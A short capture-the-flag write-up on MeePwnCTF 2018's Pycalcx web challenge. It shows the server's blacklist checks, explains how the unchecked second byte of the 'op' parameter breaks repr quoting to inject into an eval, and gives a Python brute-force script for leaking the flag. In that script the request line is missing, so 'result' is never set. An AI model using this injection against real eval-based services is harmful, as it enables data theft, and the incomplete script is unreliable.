# MeePwnCTF 2018 Qual Web Pycalcx Write-up

## Introduction

This post is based on the write-up given by p4 team .

## Vulnerability Analysis

The server.py is given in this challenge. For the parameter, the server script will check if those values are valid or not as below:

```def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val

def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val
```

We can find that parameter op, value1 and value2 are checked against a blacklist. op should contain 2 bytes but only the first byte is checked against the blacklist.

Then we come to the injection point of this challenge as below:

```calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

print('>>>> print('+escape(calc_eval)+')')
```

We can find that value1 and value2 are encoded by repr function here. To put it simple, an extra ‘ will be added to the string.
For example, repr(“AAAA”) = ‘AAAA’
According to , the techniques used here is very similar to the techniques in SQL injection. We can set the second byte in op to be ‘ to change the quotation in calc_eval

For example, if value1 = “AAAA”, op=”+'”, value2=”+BBBB#”, the formula used for evaluation will be: ‘AAAA’+”+BBBB#’.
{‘AAAA’} comes from value1, {+’} comes from op and {‘+BBBB#’} comes from value2. Since # is the comment symbol in python, the last quote will be ignored.

Another trick used in  is to use the value in source. During the exploitation, the value in source can still be set.
Therefore the final calc_eval used for exploitation is ‘x’+”+FLAG and FLAG>source#’

When the return value is true, the character checked in previous round is the target character.

## Exploitation

```import re
import string
import urllib
import requests

def exploit():
flag = "M"
for r in range(0, 0x30):
prev = 0
for i in range(0, 0x7f):
c = chr(i)
if c in string.printable:
source = urllib.quote(flag + c)
arg1 = "x";
op = "+'";
arg2 = "+FLAG and FLAG>source#";
#print(repr(arg1)) + str(op) + str(repr(arg2))

link = "http://localhost/cgi-bin/server1.py?source=%s&value1=%s&op=%s&value2=%s" % (source, urllib.quote(arg1), urllib.quote(op), urllib.quote(arg2));
if ">>>>" in result:
if "False" in result:
flag += prev
print(flag)
break
else:
prev = c

exploit();
```

## Conclusion

The final exploit is running on my local machine. After digging deeper in web challenges, I will give a write-up on setting environment. This site uses Akismet to reduce spam. Learn how your comment data is processed.